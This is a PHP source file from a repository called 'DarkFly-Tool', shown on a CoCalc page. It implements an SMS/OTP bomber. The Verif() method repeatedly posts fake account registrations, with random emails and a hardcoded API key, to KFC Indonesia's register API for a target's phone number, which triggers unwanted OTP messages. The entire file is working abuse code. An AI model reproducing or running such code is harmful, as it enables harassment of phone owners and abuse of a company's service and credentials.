Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
Ranginang67
GitHub Repository: Ranginang67/DarkFly-Tool
Path: blob/master/lib/bomkfc.php
202 views
1
<?php
2
// error_reporting(0);
3
4
Class Bom {
5
6
public $no;
7
8
public function sendC($url, $page, $params) {
9
10
$ch = curl_init();
11
curl_setopt ($ch, CURLOPT_URL, $url.$page);
12
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19");
13
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
14
15
if(!empty($params)) {
16
curl_setopt ($ch, CURLOPT_POSTFIELDS, $params);
17
curl_setopt ($ch, CURLOPT_POST, 1);
18
}
19
20
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
21
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
22
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
23
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
24
25
$headers = array();
26
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
27
$headers[] = 'X-Requested-With: XMLHttpRequest';
28
29
curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
30
//curl_setopt ($ch, CURLOPT_HEADER, 1);
31
$result = curl_exec ($ch);
32
curl_close($ch);
33
return $result;
34
35
}
36
37
private function getStr($start, $end, $string) {
38
if (!empty($string)) {
39
$setring = explode($start,$string);
40
$setring = explode($end,$setring[1]);
41
return $setring[0];
42
}
43
}
44
45
public function angka($length = 3)
46
{
47
$characters = '0123456789';
48
$charactersLength = strlen($characters);
49
$randomString = '';
50
for ($i = 0; $i < $length; $i++) {
51
$randomString .= $characters[rand(0, $charactersLength - 1)];
52
}
53
return $randomString;
54
55
}
56
public function huruf($length = 3)
57
{
58
$characters = 'abcdefghijklmnopqrstuvwxyz';
59
$charactersLength = strlen($characters);
60
$randomString = '';
61
for ($i = 0; $i < $length; $i++) {
62
$randomString .= $characters[rand(0, $charactersLength - 1)];
63
}
64
return $randomString;
65
66
}
67
68
69
public function Verif()
70
{
71
$url = "https://hd.kfcku.com/prod/api/register";
72
$no = $this->no;
73
$data = "fullname=wahhuwauh+ayam&handphone={$no}&email={$this->angka()}{$this->huruf()}%40gmail.com&password=peler123&confirm_password=peler123&language_id=ID&X-API-KEY=563f204a20876f1fa0b20523bdfd0728";
74
$send = $this->sendC($url, null, $data);
75
if (preg_match('/Invalid Handphone Number!/', $send)) {
76
print('OTP send failed<br>');
77
flush();
78
ob_flush();
79
sleep(1);
80
} else {
81
print('OTP send success<br>');
82
flush();
83
ob_flush();
84
sleep(1);
85
}
86
}
87
88
89
}
90
91
92
93
94